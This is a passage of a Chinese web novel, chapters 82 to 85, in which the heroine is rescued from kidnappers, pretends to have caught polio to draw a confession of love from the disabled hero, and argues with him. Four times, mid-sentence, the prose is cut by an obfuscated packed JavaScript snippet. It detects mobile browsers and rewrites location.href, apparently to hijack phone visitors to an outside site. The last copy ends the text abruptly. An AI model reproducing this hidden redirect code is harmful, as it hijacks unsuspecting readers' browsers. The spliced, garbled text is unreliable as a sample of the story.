简陋拥挤的屋子里,那个人就坐在门口,他没有穿着平日里的那些华服,只是最普通的长袍,却比这世间最耀眼的光还要明亮。 阿力将叶之萤身上的绳子解开,她瘫在地上,吃力地喘气,疯狂而剧烈地咳嗽、呕吐。 温其玉坐在那架熟悉的轮椅上,眼眶泛红,目光死死钉在她身上,恨意完全将那张苍白憔悴的脸笼罩,潮热的空气中弥漫着愤怒和杀气,以至于绑架她的两名凶手颤颤巍巍地跪在地上,涨红了脸也不敢放肆呼吸。 趴在地上喘了很久,叶之萤总算又活了过来。手脚被绳子困了一夜,已经僵硬得没办法正常活动了,她爬到那架轮椅旁,抱着温其玉的腿,又望着那张脸,激动得又哭又笑。 苦涩的药香将她包裹,那是专属他的味道。有那么一些时间,她差点以为自己下半辈子只能靠着脑中残存的记忆去怀念这个味道了。 “我以为再也见不到你了!”她将头深深埋进他两膝之间。他的腿骨分明很硌人,却带给她不可言喻的安心。 后背很快被一只大手覆盖,那只手在她背上轻颤着,几乎同时,头顶亦飘来了他温柔的声音,和他的手一样颤抖:“回家吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991705|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 那原本富有磁性的嗓音已变得异常嘶哑。 “贤侄,这些人……”她这才发现,温其玉身后还站着一位头发花白的中年男子。 “全部按律法处置,还有先前那位女子,也莫要放过。”声音不寒而栗。 “是!”那人的态度极为恭敬。 温其玉来时已备了马车,柳儿在车下等着,见她过来,搀扶着她上了车,并为她换了套干净的衣服。之后,阿力也将温其玉背上了车。 因为呛了水,一路上叶之萤咳得停不下来,还打了好几个喷嚏,听得温其玉直皱眉。 不一会儿,她就开始全身发抖。 “很冷吗?”他问她。 “嗯。”眼下正值正午时分,一天中最热的时候,外面日头正猛,连一向身弱的温其玉头上都冒了一层细汗,怕热的叶之萤却冷得蜷缩在车厢角落。 “你……”他欲言又止,看了眼柳儿,柳儿为她披了条毯子后,便识趣地坐到外面去了。 “坐到我身边来。”他说。 叶之萤乖乖挪到他身边。 “再靠紧些。” 她又往他身边靠了靠,身体和他紧紧贴在一起。 他的右手随即从她身后绕过,将她搂在自己怀中。 “好些了吗?” “没有。” “那要如何才能好?” 叶之萤也搂住他的后背,又抓住他的右手往身前拽了拽,让他使劲环住自己的腰,然后侧头看着他:“这样就好多了。” 她倚在温其玉身上,闻着他身上令人心安的味道,侧过头盯着那张再熟悉不过的脸庞,从宽阔的额头一路盯到方形的下巴,再回想起刚刚经历的那些事情,心中感慨万千。 而后她盯着那张脸笑了起来,笑着笑着,就流出了眼泪。 眼前的人眉头皱得更深了。 “我还以为……以为你这次找不到我了呢?”她看着他的眼睛,用额头轻轻蹭了蹭他的脸颊,却被他脸上的胡茬扎到。 “傻姑娘,这么不信任我?”他一边说,一边将长着胡茬的脸挪开了她的额头。 紧接着,他的额头重新贴上了她的额头…… 叶之萤心中大喜!他竟然主动投怀送抱!莫不是想通了? 她突然觉得自己这罪遭得值了。 “额头很烫,你发烧了!” …… 又自作多情了。温其玉的眼里根本没有一丝情到深处的缠绵,所谓的“主动”不过是在试探她的体温而已。 “哦。”她难掩失望,硬赖在他怀里,继续端详着那张差点再也看不到的脸。 这张脸比她见过的任何时候都要憔悴,疲惫的双眼布满了血丝,原本干净的脸上也长出了青色的胡茬。平日里但凡出门或者见客,他都要将头发梳得一丝不苟,而且必戴发冠,身着锦衣华服,配饰与衣服颜色、款式也要搭配协调。可今天,他的头发仅用一支玉簪束起,显然没有专门梳理,身上也是随便套了件圆袍,已经起了皱。狼狈的样子与平日一丝不苟的他简直是天渊之别。 他的脖子上还有几块大片的红疹未消,从月色圆领袍的边缘露出来,异常刺眼。 “还痒吗?”她不免心疼起他来。 “没事,会好的。”他笑着安慰她,眼底一片温柔。 “对不起,我只是看你那么难受,想让你快点用上药,才……” “我知道,不是你的错。”他打断了她的自责,又将脸颊主动靠上了她的额头。 叶之萤鼻子一酸,又留出两行泪水,这眼泪格外滚烫。 “为何又哭了?”他轻叹一声,倒像是在自言自语。 叶之萤靠在他肩膀,觉得整个头都沉得抬不起来,不一会儿就睡着了。 她睡得很不踏实,半梦半醒间,好像听到有人在她身边说话,什么“呕吐”、“传染”、“发热”之类的…… 83. 再出意外 再次醒来时,叶之萤已经躺在自己房间的床上了,天已经黑透了。林大夫和阿力在床边守着,没找见那人的身影。 一旁的阿力赶紧解释:“自打回来,少爷就一直在这儿守了你好几个时辰,我求了又求,总算说服他回房休息一会儿,没想到刚走你就醒了,我……我这就去叫他!” “别别别,去告诉他我没事就行,让他好好休息吧,别过来了。”她嘱咐阿力。 温其玉这几日被折腾得够呛,先是醉酒一夜未眠,第二日又连着两次痉挛,满身的热疹还没恢复,又满黎城地找她,好不容易找到了,又陪着昏迷不醒的她熬到这会儿。一般人都扛不住,况且他还是那样的身体。 谁知,她话音刚落,温其玉就被重新上岗的荣祥推着进了门。 还不等他靠近,她就急急忙忙赶他回去:“怎么又过来了?我已经没事了,你快回去休息吧!” “少爷心念着你,哪里休息得了?不过是换个地方着急罢了!一听见这边有动静,就立马命我推他过来了。”不等温其玉开口,荣祥便替他回答了。 温其玉看上去依旧满面愁容。 “别发愁了,我这不是没事了吗?”为了让他安心,她也强打起精神,让自己的声音听上去不那么虚弱。 “叶小姐,你可觉得身体有何不适吗?”林大夫的语气有些奇怪,好像她应该有什么不适似的。 “就是全身酸痛,四肢无力,喉咙痛,头也痛。”她如实回答。 “这……”林大夫一副欲言又止的样子。 “有什么问题吗?是不是我的头撞坏了?”莫不是撞水缸的时候把血管撞破了?叶之萤被他的态度搞得紧张起来,赶紧摸摸自己的头,发现头顶鼓起了一个老大的包,摸起来软软的。 “叶小姐莫要担心,你头上的伤我已做了详细检查,只是皮下有些出血,过几日便能消肿,没有大碍。” “那就好!”差点被他吓死。 “只是……” “只是?”她看了眼房中的四人,大家都表情凝重。 “林大夫,请您有话直说吧!”叶之萤最不喜欢吞吞吐吐的样子了,杀人不过头点地,还是爽快点好。 林大夫看了眼轮椅上的人,得到他的首肯后,方才开了口:“掳走你的那家人,两个孩子是否都病着?” “是,”她点头道,“还都病得挺重的。其中一个都昏迷了。” “那两个孩子得的是……痹症。” “痹症?”她的眼神不自觉飘到了温其玉腿上,是和他一样的病。 “所以呢?”她仍旧不知道林大夫想表达什么。 “那病,是疫症,会传染。近几个月,南越一直流行此症,上个月开始,黎城也有了病例,如今这城里,被传染的人不在少数,当然,大多都是孩子,但也有个别成年人被感染。” 叶之萤不以为然:“原来就是这个啊,放心吧,我不会被传染的!” “你的衣裳是否曾沾过那孩子的呕吐物?”温其玉的表情严肃得让她害怕。 “岂止是沾上过,她全都吐我腿上了!太恶心了!”一提起这事,她就大吐苦水,正说着,突然停了下来…… 她记得没过多久,那男人就回来了,紧接着,那男人又把她淹在水缸里,也就是说,那呕吐物又混在了水里,被她…… 喝了! 胃里又一阵翻江倒海,她没忍住呕了一下,差点吐了出来。 林大夫继续说:“痹症很重要的一个症状就是发热,而后四肢变得绵软无力,叶小姐接触了那孩子的呕吐物,之后便发热了,又有了四肢无力的症状,这……” “哎呀,你们放心吧,我只是因为发烧没力气而已,没事的。”他们口中的“痹症”,其实就是现代人说的“脊髓灰质炎”,叶之萤自小就接种过疫苗,当然不会被传染。 可温其玉哪里知道这些,一听到她四肢无力,整个人就像被抽走了魂似的,失魂落魄地瘫坐在那里,看起来可怜极了。 “我……我的腿……好像真的不能动了……”叶之萤突然惊慌地看着众人,恐惧让她的眼泪如大雨一般止不住地往出淌。 众人皆大惊,温其玉坐在轮椅中,仅有的那一点支撑身体的力气全都被她这句话抽干,突然往地上跌了下去。 还好荣祥眼疾手快扶住了他。但他似乎已经没有力气再让自己坐起来了,只能靠荣祥扶着身体才能勉强坐直。 “怎么办?”她惊恐的眼神死死望着温其玉。 “我先开些药,尽量遏制住叶小姐体内的毒素。温少爷莫太过焦心,或许……或许叶小姐并没有感染,这症状只是普通伤寒引起的,等风寒好了就自愈了也说不定。”林大夫见状赶紧安慰温其玉,但他的话显然没有起到丝毫作用,只好又说,“即便叶小姐真的不幸被感染,我们第一时间发现,老夫也有把握将伤害降低到最小!老夫先去抓药了!” 这个时候的人们还不知道什么是病毒,只把它当成是一种毒素来看待。 与温其玉擦身而过时,温其玉突然抬起右手,一把抓住了林大夫的衣袖。 “治好她!”明明是一句真挚的恳求,却让人听出了其中不容推托的威胁之意。 他的右手本就没有什么力气,如今悬在空中,整个右臂都抖个不停,却还是倔强地捏住林大夫的衣袖不松。 “温少爷放心,我定会以毕生所学全力医治。” 那只手终于松开了褐色衣袖,脱力般坠了下来,被荣祥稳稳接住,重新放回到主人孱弱的腿上。 “那就拜托您了!”这句话又重新有了温度。 待大家通通退下后,温其玉努力打起精神,挺了挺背,扯出一个笑容安慰床上的叶之萤:“放心吧,一定会没事的。” “如果真的有事呢?”叶之萤的眼泪就在眼眶打转。 “不会的,不会有事的!”可他的声音分明也在发抖。 “我的腿没感觉了!温其玉,我以后怎么办啊?”大颗大颗的泪珠从她通红的眼中滚落下来,很快,她的脸上便满是泪水了。 “倘若你的……倘若真的有事,我来照顾你!我会照顾你的,你不要担心!”眼前的人语气温和,试图用这样的方式缓解她的焦虑。 “你照顾我?”叶之萤的眼里噙满了泪水。 “相信我,别怕,我会永远陪在你身边的。”他望着她,眼中同样泛起泪光。 “可是你能陪到什么时候呢?”如露水般大颗大颗的眼泪全部顺着脸颊滚到了鬓角。 温其玉颤颤巍巍伸出右手,似乎是想为她擦掉眼泪,可那不到十公分的距离却如同结界般将他困在外面,即使她就在眼前,他也摸不到她。 他只好沮丧地收回手,用言语为她宽心:“我会一直陪着你,直到你不再需要我,叶姑娘,你相信我。” “真的吗?”她的情绪似乎真的好了一些。 “当然!”他坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991706|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定地点头。 谁知叶之萤却又瘪起了嘴:“可是将来你终究是要娶妻生子的,到那个时候,我又算什么呢?有什么资格接受你如此慷慨的帮助?” “我不会的。”他向她保证。 “不会什么?不会娶妻生子?”见他没说话,叶之萤继续道,“不管你会不会,我都不能接受你的照顾。你我非亲非故,接受你一时的帮助已经让我很抱歉了,怎么好意思拖累你一辈子呢?温其玉,假如这次我真的不幸被感染,你就找几个人把我从温宅扔出去吧,随便扔哪都行,让我自生自灭吧!” 温其玉不理解她为何要说这样的话,眉头皱成一团:“你在胡言乱语些什么?” “我没有胡言乱语。”又一颗泪从她眼角滑落,“我在这里一无所有,没有家也没有钱,要是再得了痹症,对你来说就是彻彻底底的负担了,我们本就只是朋友,你并不欠我什么,如果你执意不让我走,那我就绝食,不吃不喝,直到饿死!” 她看着他,眼神逐渐发狠。 温其玉被她的眼神吓到,若有所思地看着她,许久,才又开了口:“那若是我娶你呢?” “娶我?” “若是你愿意,与我成亲、做我妻子,这一生,我照顾你。”温其玉又说了一遍,叶之萤知道他不是随口说说,因为他的表情前所未有的认真。 她嗤笑一声:“温其玉,你在侮辱我!” “我没有。” “怎么没有?你明明不爱我,却说要娶我,不就是看我现在这个样子很惨,对我心生怜悯吗?报恩不是这样报的,即使我曾经为你试过毒,但这些日子你对我的照顾已经远远超出了我对你的付出,你真的没有必要再把一生都耗在我身上,温其玉,你确实是个很好的人,但我不需要这样的怜悯。”叶之萤拒绝地坚定。 “不是!不是这样的!” “就是!就是这样的!” “不是!” “就是!” “不,不是的!” “不是?温其玉,那你爱我吗?” 屋子里突然陷入安静。 许久之后,叶之萤再度开口:“温其玉,你以为自己是天神下凡来普度众生的吗?居然为了我牺牲自己的后半辈子?你是不是觉得自己特别伟大,我是不是应该对你的伟大感恩戴德啊?” “不是,叶姑娘,不是这样……”温其玉似乎已经失去了所有解释的力气,只一个劲地摇头否认她的话。 “我不是乞丐,所以你不要因为看我可怜就随手施舍几个铜板给我。就算我活不下去了,哪怕去死,也不需要你的施舍,请停止对我的羞辱!” “我并未羞辱你……” “你或许没有羞辱我的主观意愿,但你的行为却造成了羞辱我的客观事实。温其玉,你不爱我,这不是你的错,虽然之前你拒绝我很多次确实让我很受伤,但至少那时的你是坦荡的,总比现在因为可怜我就欺骗我好……咳咳咳……”她接连打断他的话,不给他解释的机会。一口气说了太多话,她又开始咳嗽,憋得脸都涨红了。 眼前的人不再与她争辩,望着她的那双眸子里尽是心疼。 温暖的夏风吹进屋子,将床边燃着的油灯也吹得颤动起来。轮椅上的人身影愈发单薄了,宽大的衣服空荡荡地挂在身上,仿佛风再大点就要随风飞走了。烛火摇曳,给原本已经冻结的空气平添了几分暖意和柔情。 “叶姑娘,请原谅我的没用。” 84. 吐露真言 他现在的声音比今日找到她时更加嘶哑了,也让叶之萤更加心疼:“若是换了别的男子,此时此刻,定会在你床边好好照顾你,我也想照顾你,可我却只能坐在这里,眼睁睁地看着你难受、害怕,什么都做不了。所以我明明一早就爱上了你,却始终羞于向你坦诚。” 他似是感到沮丧和难堪,将头深深埋了下去。 “温其玉,你说你爱我?”叶之萤小心翼翼向他求证。 “是,我爱你!”他重新抬起了头,墨黑的眼中布满了星星点点的莹光。 明明是早已知晓的答案,可当真听到他亲口对她说出时,叶之萤还是激动地全身颤抖。 “我此时说娶你,并非我同情心泛滥。我不过是想告诉你,你并非一无所有。在这世上有一人,他不会轻易打扰你的生活,但当你需要依靠时,他定会陪在你身边。虽然他笨手笨脚,许多事都做不了,但他会倾尽所有保护你,用他的生命去爱你,你可愿信他?” 叶之萤一点也不怀疑这番话的真实性,因为他已经无数次用行动证明了这句话,她哭着点头:“我信你!” 温其玉继续道:“你如今能凭一己之力养活自己,除了皮囊之外,靠的更是智慧和魄力。就算,就算你日后真的不能走路了,你也有能力活下去,相信我,不要轻易放弃现在的自己,若是你愿意,你可以依靠我,就像你刚来时那样。” “像刚来时那样……”回忆翻涌而来,叶之萤仿佛真的回到了刚来的时候,而后撅起了嘴巴,“可是那个时候,你把我关进了柴房,还不许阿力给我饭吃。” 他却笑了起来:“但你还是愿意不计前嫌去救我。” “你也救了我啊!”叶之萤眼中噙满了泪水,自己曾救过温其玉,而温其玉也在自己落魄无依时拉了自己一把,这样的二人,怎么不算相互救赎呢? 但眼下,还不是答应他的好时机:“如果你在今天之前说要跟我结婚,我一定会激动地跳两米高,抱着你转好几个圈圈,然后对你说一百遍‘我愿意’。可是现在,我不能答应你,因为我不能拖累你,正如你也不愿拖累我一样。我希望我在你心里的形象永远是骄傲的、完美的。况且,你在这个时候跟我表白,让我很难不怀疑这表白有几分真实。” “无论你如何改变,在我心中都是完美的。日子还长,你若是对我的话有所顾虑,便不必急着回答。在此期间,林大夫会尽全力医治你,若是林大夫医不好你,我就带你踏遍世间之路,为你再寻良医。如若用尽了方法也不能恢复如初,你也不必害怕,你愿意接受我的照顾,我自当竭尽全力。如若不愿意,也请不要拒绝一位好友真诚的帮助。活下去才是最重要的。” 他想了这么多理由和办法,不过是为了让她留在这里,好好活下去…… 屋里灯火昏暗,他身着白衣,在昏暗的光线下格外单薄。背已无力支撑身体,佝偻着坐在轮椅中;手腕的割伤仍未痊愈,附着一层厚厚血痂;脖颈处的红疹也依旧显眼,即使他已经很努力地不让自己露出痛苦,可叶之萤还是看到他的眉头在这期间偷偷抽动了好几次。 就这么一副身体,他硬是从昨晚坐到了现在。叶之萤简直不敢想,这身体如今正承受着怎样的难受。对眼前之人的心疼让她不免皱起眉头。 温其玉却以为她是还在为未来担忧,便又劝她:“如今的你,就如曾经的我,我懂你心中之苦。你想如何发泄都好,甚至把这屋子砸个稀烂都没关系,只要能宣泄苦闷,怎样都可以!” “怎样都可以?骂你可以吗?” 温其玉愣了一下,而后点了点头:“当然……可以。” 他话音刚落,叶之萤就哭嚎起来:“温其玉,你就是个骗子!骗子!骗子!我追了你那么久,你明明喜欢我,竟然还对我说那么冷血的话,做那么冷血的事!你怎么那么铁石心肠?你知不知道你让我伤心难过了多少次?让我夜不能寐了多少次?让我气到爆炸了多少次?我恨你!我恨你!我恨你!” 眼前之人被她这突如其来的控诉吓到了,坐在那里连连认错:“都是我的错!对不起!” “叶姑娘,你伤还没好,不要……不要如此激动!” 叶之萤本就烧得头晕目眩,再这么一激动,头上的血肿瞬间抽疼,不禁惨叫了一声:“啊!” “你怎么了?”他被吓了一跳,急得伸头看她,身体却彻底失去了平衡。 “小心!”叶之萤惊呼一声,趁他还没倒下,敏捷地从床上跃起扶住了他,又扶着他在轮椅上坐稳。一番折腾后,她仅存的力气也已耗尽,赶紧坐回床边休息,让虚弱的自己不至于晕倒在地。 “你……”温其玉的目光自上而下,从她的脸一直看到那两条腿。她看到他的表情先是惊喜,但很快就恍然大悟。 完了,露馅儿了!不过没关系,反正想听的话都已经诈出来了。 “我……我的腿不是完全没劲儿,但我也没骗你,你看,我刚刚就站了那么一会儿都快要摔倒了……” “没事就好!”这句话明显是从牙缝里硬生生挤出来的。说完后,他闭上眼睛深吸了一口气,仿佛是在抑制那即将喷涌而出的愤怒。 “我没事,你不高兴吗?”她明明知道他不是这样想的,却恶人先告状。 对面那双眼睛瞬间睁开了,他的主人正在用一种很怪异的眼神看着她,愤怒、困惑、失望、凄凉…… 看来是真生气了。 叶之萤继续嘴硬:“那谁让你一直不承认对我的感情,你要是早点承认,我至于用这个办法套你话吗?” “阿力!” 叶之萤的话还没说完,本想跑过去抵住门,先不让阿力进来。但阿力就在门口站着,听见温其玉叫他,立马开门就进来了。 阿力进来时,她刚跑到桌子旁边。 看见她站在地上,阿力也吃了一惊:“你腿好了?” “回房!”温其玉语气很冲。 “不行,”她挡在门口,不让他出门,“把话说清楚再走。” 虽然她知道温其玉是气自己假装痹症吓他,害他担心。但她只是希望他能留下来听听自己的心生,希望他能理解自己的做法。 温其玉显然不是这样想的:“没什么好说的,让开!” “不让!” 二人僵持了好久,叶之萤实在没力气站着了,腿一软,直接蹲在了地上。 “叶小姐,你看你……身体还这么虚弱,都站不住了,就别硬撑着了,快回床上去吧,有什么事等身体好了再说也不迟。”一旁的阿力实在看不下去了。 “我们俩的事情还没解决好,麻烦你先出去。” “把她背到床上去,叫柳儿过来看着她。”温其玉一声令下,阿力便走到了她面前。 “别动我!”她喝道。 阿力站在那里为难地看着二人,最终还是走到了叶之萤面前:“对不住了,叶小姐。” 按理说阿力想要制服她也没那么容易,但谁让她现在身体极度虚弱,毫无还手之力,只能任由阿力将她背到床上。 叶之萤是个急性子,心里搁不住事。刚刚跟温其玉的话才说了一半他就不清不楚地走了,实在憋得她内伤。她躺在床上辗转反侧,越想越气,还是决定得找他把话说清楚,便撑着起了床,在柳儿的搀扶下,摇摇晃晃地去了隔壁。 温其玉已经睡下了,阿力正在为他按摩双腿。见叶之萤进来,他抬眼看了她一眼,便将头扭了过去。 “我有话跟你说。”她站在门口,开门见山。 “有事明日再说。”他的声音听上去十分疲惫。 “不行,不说清楚,我睡不着。” “那是你的事。” 她火冒三丈,快步往他床边走,虚弱的身体不住打晃:“是你不把话说清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991707|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,害我睡不着,怎么能是我的事情呢?” 柳儿始终贴身护着她,生怕她因体力不支而摔倒。 阿力也起身拦住她:“叶小姐,有话好说,别冲动!” “那你想怎样?”温其玉似乎对她的话很是不耐烦。 “我知道你生我的气,但我那也是被你逼得没办法才出此下策的,如果我刚刚不骗你,你可能这辈子也不会承认你喜欢我。你知道我追你追得多辛苦吗?可是无论我怎么做,任凭狂风暴雨,你自岿然不动。我实在是没办法了,才……才借着这个机会骗了你一下……”她也不再像刚才那样强硬,语气柔软了许多。不管怎么说,害他白担心一场,自己确实有必要跟他做个解释。 “说完了吗?说完就请回吧。”他丝毫不为所动,脸始终背着她。 “听我说完,你就没有什么想说的吗?” “叶姑娘向来说话真真假假,虚虚实实,以将别人的真情实感玩弄于鼓掌为乐趣,我辨不出你话中真假,亦无话可说。”他这番阴阳怪气,显然是对她刚才的解释毫不在意。 “我什么时候玩弄你的感情了?你是真情实感,难道我不是吗?嫌我真真假假,还不是因为你先躲躲藏藏,如果一开始你就和我坦诚相待,我需要这样吗?我今天之所以出此下策,就算论因果,也怪不到我头上吧?不就是逼你跟我表了个白吗,你就这么不情愿?咳咳……咳咳咳……”她一激动,又开始咳个不停,本就是强撑着才能站住,现在整个人都摇摇晃晃,眼看就要倒下,赶紧一把撑住旁边的桌子。 “叶小姐,你先回房休息吧,把身体养好,来日方长!何必非要现在较劲呢?”阿力也过来扶住她。 “他说这种话……咳咳……就是诚心要气我,说不定今晚我就被气死了,还来什么日方什么长?咳咳咳……” “呸呸呸……叶小姐千万别乱说,你不过就是寒气入体,休养些日子就能好,说什么死不死的晦气话。”柳儿赶紧捂住她的嘴,不准她再说。 温其玉却突然幽幽开口:“还有力气过来吵架,死不了。” …… “我死不了你很失望吗?”人在气头上,说话就容易不过脑子,特别是像叶之萤这种本身就容易冲动的人,此时此刻已经没有什么理智残存了,更是早已忘了自己过来的目的是解决问题、而不是激化矛盾的,“咳咳……既然这么希望我死,你又何必救我?干脆让我被水淹死……咳咳……或者被卖了不是更好?” 她心想这病或许是死不了,但再被他气下去,恐怕就不一定了。 这屋里的空气似乎越来越不够用了,叶之萤只能连嘴巴也用上,大口大口地吞着气。 “少爷,叶小姐,你们都少说两句吧!”眼看房里气氛越来越僵,阿力实在听不下去了,开口劝两人。 “送叶姑娘回房吧。”温其玉似乎是听进去了阿力的话,没有再朝叶之萤发难,又或许是因为没力气再和她争执才只好作罢,因为他的声音听起来确实已经疲惫不堪。 “不用送,我自己回。”叶之萤挣脱了阿力的搀扶,撑着桌角摇摇晃晃直起了身。 此时,她的脑袋里像是封住了一个小人儿,这个小人儿出去无门,便拿着榔头想要砸出一扇门来,每砸一下,她的太阳穴就猛地抽跳一下,即使如此,这人儿还嫌不够,又放下榔头用双手撕扯她的头骨,每扯一下,都让她头痛欲裂,生不如死。 剧烈的头痛让她已经没法正常走出门了,甚至连房门的位置都没法分辨,她觉得自己仿佛站在一艘正被巨浪摇晃的船上,整个世界都晃了起来。在东倒西歪地走了两步后,她“咚”一声跪在了地上,膝盖随之传来一阵硬疼…… “叶小姐!” 随着柳儿的一声惊呼,她抬头往床上望去,床上的人终于动了。 模糊的视线中,那人背对着她,艰难地将头转了过来…… 85. 后悔冲动 阿力很快背着她回了房,在床上休息了几分钟后,她慢慢缓过劲儿来了。 “叶小姐,先把药喝了吧!”柳儿端了药给她。 “不喝!”她还气得不行。 阿力苦口婆心劝她:“叶小姐,别拿自己的身体赌气啊!万一气坏了身体,你难受,少爷也心疼,两败俱伤,多划不来!” “他心疼什么?你听他刚才说的话,有点儿心疼我的意思吗?咳咳……咳……”一提到温其玉,她气就不打一处来。 等这阵咳嗽过去了,阿力才又开口:“你这么说可要伤少爷的心了!不是我说,你骗少爷说你得了痹症,这事确实做得欠妥!少爷本身自己就被这病所困,其中的痛苦非常人所能感受。他那么在乎你,听说你也得了那病,你让他如何接受得了?刚刚你醒来之前,少爷就已经知道那家的孩子得了痹症,得知这事的一瞬间,少爷脸色煞白,吓得半死,但他还是装作无事发生一样,满怀希望地等你醒来。没想到你一醒来就说你腿不能动了,你让少爷如何不崩溃?他自己刚生病那会,即使心里再痛苦,都没有表现出这样的失魂落魄,他是真的害怕你也像他一样!” 听阿力这么一说,叶之萤好像有点理解温其玉的愤怒了。 她本以为温其玉是因为被骗着吐露了真言,觉得尴尬才恼羞成怒的,现在才反应过来,他其实是被她吓到了。 先是发现她不见了,后来又发现她被人掳走了;好不容易找到她,又以为她被传染了痹症;怀着最后一丝希望等她醒来,又听到她腿不能动了的噩耗…… 不到一天时间,这么多惊吓接踵而来,巨大的恐惧不断摧残着温其玉的精神,但他还强打着精神安慰了她那么多话。在这种情况下,她却还在骗他、吓他…… “那我刚才……不是又错怪他了?”叶之萤悔恨不已。 “所以说让你不要冲动嘛!昨个夜里少爷痉挛好了之后,自觉对你说话的语气太重,便想跟你道歉来着,没想到你却不见了。原本想着你可能是生气跑出去了,少爷都快自责死了,连外衣都来不及穿,只穿件中衣就急急忙忙让我推着他把整个黎城所有街道都找了个遍,一声一声喊你的名字,到最后嗓子都发不出声了,却还是没找到你,后来找到林大夫住的那条街上,他被少爷的叫声吵醒,主动出来询问,我们这才知道你是去给少爷取完药后才不见的。” “你们没发现我在地上留下的那只鞋吗?还有掉在地上的两包草药?” “没有啊!”阿力的表情,分明是没有发现她留下的任何记号。 “那你们最后是怎么找到我的?”叶之萤心里一直有个疑惑,就是温其玉到底是如何锁定的那家人。 阿力继续说道:“当得知你可能是出了事,少爷又急忙赶到衙门去找府尹大人,拜托他把城内所有的南越人都抓起来,一个一个亲自审问,从寅时一直审到近午时,这才终于在一个南越人口中得到一个消息,他听说城南有一户人家抓了一位漂亮的女子,打算不日便送去南越。” “原来如此,可是,温其玉他怎么就知道这事跟南越人有关,而且知道我肯定不在城内?” “第一,黎城并不大,虽然少爷行事低调,当地人不知少爷的真实身份,但也都晓得温宅的主人是个不一般的人,平日里都不会主动招惹。只有外来之人才不忌惮温宅,而这之中也只有南越人与黎城羁绊最深,于是少爷便赌了一把,还好,赌赢了!第二,若是掳走了温宅的人,还把人藏在城内,那就是在给自己找麻烦,所以掳走你的人八成不会将你藏在城里,不仅如此,他们还会最快速度把你送得远远的,以免少爷找到你,他们都得吃不了兜着走。” “那你们又是怎么找到掳走我那家的呢?” “若是将你虏去南越,一定得通过城里这些南越人作为中介,但是审完那些人,并没有什么收获,所有人都一口咬定此事与自己无关,少爷只好将他们全放了。” “放了?”叶之萤原本以为是审问时便找到了线索。 “对,放了。他们回到街上,自然忍不住要互相打听同伴被抓时的情况,用不了一炷香的时间,衙门在寻找温宅一名女子的消息就传得满城皆知了。掳你那人自然也会听到风声。如此一来,他肯定坐不住,想要早点送你走,便会主动寻到南越中介,跟他商量能不能早些送你走,殊不知,所有南越人都正被我们的人盯着,就等着鱼上钩!对了,”阿力话锋一转,悄悄问她,“你可知掳走你的是哪家人?” “玲妹家。”在那间屋子里,她便已经有了答案,可她始终有一事不明,“可我去她们家是临时决定的,她事先并不知情。” “绑架一事同样是临时决定的,就在你敲门的时候。”和她猜的一样。 叶之萤身体本就很冷,说到这里,愈发冷得颤栗起来,忍不住打了个寒颤,赶紧将被子往身体两侧拢了又拢,对眼前之人表情感谢:“阿力,这两日真是辛苦你们了!” 阿力摇头道:“我们不辛苦,辛苦的人是少爷,这一天一夜都坐在轮椅上东奔西跑,最后实在坐不住了,便命我用绳子将他绑在椅背上,起初我不忍心,绳子绑得松,少爷还是坐不住,后来只好狠狠地拉紧绳子。直到赶到掳走你的那家人门前,少爷不想让你看到他狼狈的样子,才又命我拆掉了那些绳子,方才我为少爷更衣时,发现那绳子勒得少爷身上全是淤青……” 叶之萤更后悔了。她想到在马车上,他稳稳地坐在她身旁,还用手搂着她的腰,完全没有一点痛苦的样子;还有刚刚在这里,他坐在她床前,安慰了她那么久,也没看出丝毫异样。这要多强的意志力才能做到啊? 这个人,总是把痛苦藏起来自己消化,即使没有伞,也要用身体为她挡住风雨。 而她却还故意撒谎骗他、吓他,害他担心害怕不说,还因为一时的冲动跟他大吵一架…… 阿力见她脸色愈发不好,开导她道:“叶小姐,我说出这些话不是想让你自责的,我只是想让你知道,你在少爷心中有多重要!我们会因为他的身体心疼他,可对他而言,许多事情是他心甘情愿为你做的,他不想因为自己的身体而让你受任何委屈,相反,他总是因为自己的身体觉得对你有所亏欠,所以才时常想要弥补。” “我知道了,阿力,谢谢你告诉我这些!”谁能想到不久之前,她还暗暗吐槽过阿力不靠谱,没想到这个不靠谱的人今日却成为了她和温其玉之间的感情催化剂。 “有了你之后,少爷整个人都精神起来了,我也要谢谢你!不过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 